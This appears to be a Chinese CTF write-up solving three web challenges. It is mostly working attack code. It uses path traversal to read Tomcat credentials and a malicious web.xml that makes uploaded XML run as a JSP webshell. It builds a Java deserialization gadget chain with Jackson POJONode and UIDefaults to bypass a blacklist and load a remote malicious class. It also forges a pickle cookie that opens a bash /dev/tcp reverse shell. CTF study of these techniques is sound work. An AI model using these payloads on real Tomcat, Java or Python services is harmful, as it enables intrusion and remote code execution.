tomtom2
任意文件读取 根据
发现路由在/opt/tomcat 接下来去读tomcat的配置文件
/opt/tomcat/conf/tomcat-users.xml
读到密码登录 发现只能上传xml文件
经过测试发现文件上传路径在
当前目录的uploads下面
于是我们考虑上传web.xml去覆盖tomcat的配置文件 使之解析xml为jsp
先上传一个正常的xml文件 里面是jsp木马 密码为passwd
然后再利用目录穿越覆盖配置文件
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.xml</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>fork</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>xpoweredBy</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>3</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
</servlet-mapping>
</web-app>
然后访问发现被解析了
蚁剑连接
根目录下找到flag
ez_java
给了账号密码 登录后
这个路由存在反序列化
被过滤一些
java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.jndi.ldap.LdapAttribute", "org.apache.commons.beanutils", "org.apache.commons.collections", "javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString
存在明显的类加载
我们触发User的getGift,添加远程或者 本地类路径进⾏类加载
我们可以用jackson的链子来绕过CB链
⿊名单过滤了BadAttributeValueExpException,参考
https://www.aiwin.fun/index.php/archives/4420/ 这个⽂章,可以使⽤
UIDefaults$TextAndMnemonicHashMap绕过接着
因为这道题是出⽹的,所以直接打远程类加载
import com.example.ycbjava.bean.User;
import com.fasterxml.jackson.databind.node.POJONode;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class jackson {
public static void main(String[] args) throws Exception {
User user = new User("url:http://ip:port/","p2");
POJONode jsonNodes = new POJONode(user);
Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map map1= (HashMap) createWithoutConstructor(innerClass);
Map map2= (HashMap) createWithoutConstructor(innerClass);
map1.put(jsonNodes,"222");
map2.put(jsonNodes,"111");
Field field=HashMap.class.getDeclaredField("loadFactor");
field.setAccessible(true);
field.set(map1,1);
Field field1=HashMap.class.getDeclaredField("loadFactor");
field1.setAccessible(true);
field1.set(map2,1);
Hashtable hashtable=new Hashtable();
hashtable.put(map1,1);
hashtable.put(map2,1);
map1.put(jsonNodes, null);
map2.put(jsonNodes, null);
ByteArrayOutputStream clas = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(clas);
objectOutputStream.writeObject(hashtable);
Base64encode(clas);
}
public static <T> Object createWithoutConstructor (Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
private static void Base64encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
}
}
自己写个恶意类 然后读取进行加载 放到vps上面
rO0ABXNyAAJwMgBqXZPeAcwlAgAAeHA=
然后利用url:绕过http:
首先第一次反序列化注入恶意类
然后第二次反序列化加载我们的恶意类
vps监听的端口收到请求
执行恶意类 收到shell
Lyrics For You
有个文件读取lyrics?lyrics=../../../../proc/self/cmdline
发现源码路径
lyrics?lyrics=../../../../usr/etc/app/app.py
根据源码导入的包
继续读
/lyrics?lyrics=/usr/etc/app/config/secret_key.py
这个key我们伪造cookie需要使用
lyrics=/usr/etc/app/cookie.py
cookie的生成规则 也是伪造需要使用
然后看了一下源码就是简单的R指令绕过
直接给exp
from cookie import set_cookie, cookie_check, get_cookie,cookie_encode
import base64
secret = "EnjoyThePlayTime123456"
opcode=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''
expp= cookie_encode(("user", opcode),secret)
print(expp)
Comments | NOTHING